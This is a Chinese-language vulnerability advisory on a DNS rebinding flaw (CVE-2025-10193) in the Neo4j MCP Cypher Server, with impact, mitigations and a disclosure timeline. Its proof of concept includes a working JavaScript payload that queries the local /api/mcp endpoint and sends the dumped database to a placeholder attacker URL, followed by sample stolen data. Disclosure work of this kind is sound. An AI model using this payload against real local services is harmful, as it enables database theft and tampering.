作者: Evan Harris
受影响组件: Neo4j MCP Cypher Server
受影响版本: 0.2.2 到 0.3.1
CVE: CVE-2025-10193
CVSS 4.0 评分: 7.4(高)- CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

概述

Neo4j MCP Cypher 服务器提供了一个 HTTP 端点,用于对 Neo4j 数据库执行 Cypher 查询。

MCPSec 在该服务器中发现了一个 DNS 重绑定漏洞,它允许远程攻击者绕过浏览器安全策略,对可通过 MCP 访问的数据库实例执行任意 Cypher 查询。

Neo4j 已在版本 v0.4.0 中修复了该问题。所有使用受影响版本的用户都应立即更新。


影响

攻击者可获得对本地 Neo4j MCP Cypher 服务器所提供的 /api/mcp 端点的完整 POST 访问权限。

这使得攻击者能够未经授权地执行任意 Cypher 查询,实际上赋予了攻击者对 Neo4j 数据库的完全管理控制权。这可能导致:

  • 存储在数据库中的敏感信息完全外泄
  • 未经授权的数据篡改或数据损坏。
  • 数据删除及拒绝服务。

DNS 重绑定攻击可以在受害者访问恶意网站后的数秒内完成,唯一的前提是受害者在本地运行着存在漏洞的服务器。

概念验证

该攻击场景假设:

  • 受害者在其本地机器上运行着存在漏洞版本的 Neo4j MCP Cypher 服务器。
  • 受害者访问了由攻击者控制的恶意网站。
  • 该网站执行 DNS 重绑定攻击,诱使受害者的浏览器向 Neo4j 服务器发送命令。

在重绑定完成后,攻击者可以利用受害者的浏览器向本地提供服务的 /api/mcp 端点发送恶意 Cypher 查询。随后数据可被外泄至攻击者的服务器,或者执行数据篡改和删除操作。

MCPSec 通过以下步骤进行了概念验证攻击:

  1. 部署一个 DNS 重绑定应用(例如 Singularity of Origin)。

  2. 构造一个 JavaScript 载荷,由恶意网站提供,用于执行查询并外泄数据。

const Neo4jRebind = () => {
  // The core attack function. It sends a malicious Cypher query.
  function attack(headers, cookie, body) {
    const maliciousQuery = 'MATCH (n) RETURN n LIMIT 100'; // Query to dump all nodes
    fetch('http://localhost:8000/api/mcp', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Accept': 'application/json, text/event-stream',
        'Connection': 'keep-alive',
        'Cache-Control': 'no-cache'
      },
      body: JSON.stringify({ query: maliciousQuery })
    }).then(response => {
      const ATTACKER_SERVER = 'https://attacker.com/steal-neo4j-data';
      response.text().then(databaseContents => {
        // Send the stolen database contents to the attacker's server
        fetch(ATTACKER_SERVER, {
          method: 'POST',
          body: JSON.stringify(databaseContents)
        });
      }).catch(e => console.error('Failed to parse Neo4j response', e));
    }).catch(e => console.error("Failed to post Cypher query", e));
  }

  // Function to check if the rebound service is the target Neo4j server
  async function isService(headers, cookie, body) {
    try {
      const response = await fetch(`http://localhost:8000/`, { mode: 'no-cors' });
      // A successful ping (even opaque) suggests the port is open.
      return true;
    } catch (e) {
      return false;
    }
  }

  return {
    attack,
    isService
  }
}

Registry["Neo4jRebind"] = Neo4jRebind();
  1. 运行一个数据收集服务器,用于接收包含被窃取数据库内容的 POST 请求。

以下是从受害者数据库中外泄的 JSON 数据示例,其中包含可能属于敏感信息的用户数据。

{
  "results": [
    {
      "columns": ["n"],
      "data": [
        {
          "row": [
            {
              "name": "Evan Harris",
              "email": "evan.harris@example.com",
              "role": "admin",
              "password_hash": "sha256:abc123def456..."
            }
          ],
          "meta": [{...}]
        },
        {
          "row": [
            {
              "project": "Project Titan",
              "api_key": "neo-secret-key-xyz789",
              "status": "active"
            }
          ],
          "meta": [{...}]
        }
      ]
    }
  ],
  "errors": []
}

建议的缓解措施

面向用户(立即执行)

  • 立即将 mcp-neo4j-cypher 更新到 v0.4.0 或更高版本。 该版本包含了校验 HTTP Host 头以防止此类攻击的补丁。
  • 如果无法更新,请从 HTTP 切换到 stdio。或者,在你的 Neo4j Cypher MCP 服务器前部署一个网络请求过滤器,以抵御无效的 Host 头。

该漏洞已按照负责任的披露实践报告给 Neo4j 团队。团队迅速做出响应,对问题进行了验证和修复。


披露时间线

  • 2025-09-08:Neo4j 确认收到报告。
  • 2025-09-09:Neo4j 确认该攻击向量所带来的风险。
  • 2025-09-09:向 Neo4j 团队提供了详细的指导和修复示例。
  • 2025-09-09:Neo4j 提交了包含防御措施的 pull request。
  • 2025-09-11:发布了修复版本 v0.4.0
  • 2025-09-11:分配了 CVE-2025-10193 并发布了 GitHub Security Advisory。
  • 2025-09-12:商定了技术公告的发布日期。
  • 2025-10-13:发布技术公告。

结论

Neo4j MCP Cypher 服务器中的 DNS 重绑定漏洞凸显了那些暴露本地数据库接口的开发者工具所面临的高安全风险。这些服务在提供强大的本地功能的同时,如果没有得到妥善保护,可能会成为基于 Web 的攻击的入口。这可能导致敏感数据被完全攻陷。

感谢 Neo4j 团队在修复该漏洞时表现出的专业和迅速的响应。所有使用受影响组件的用户都应更新到最新版本,以确保其数据得到保护。

参考资料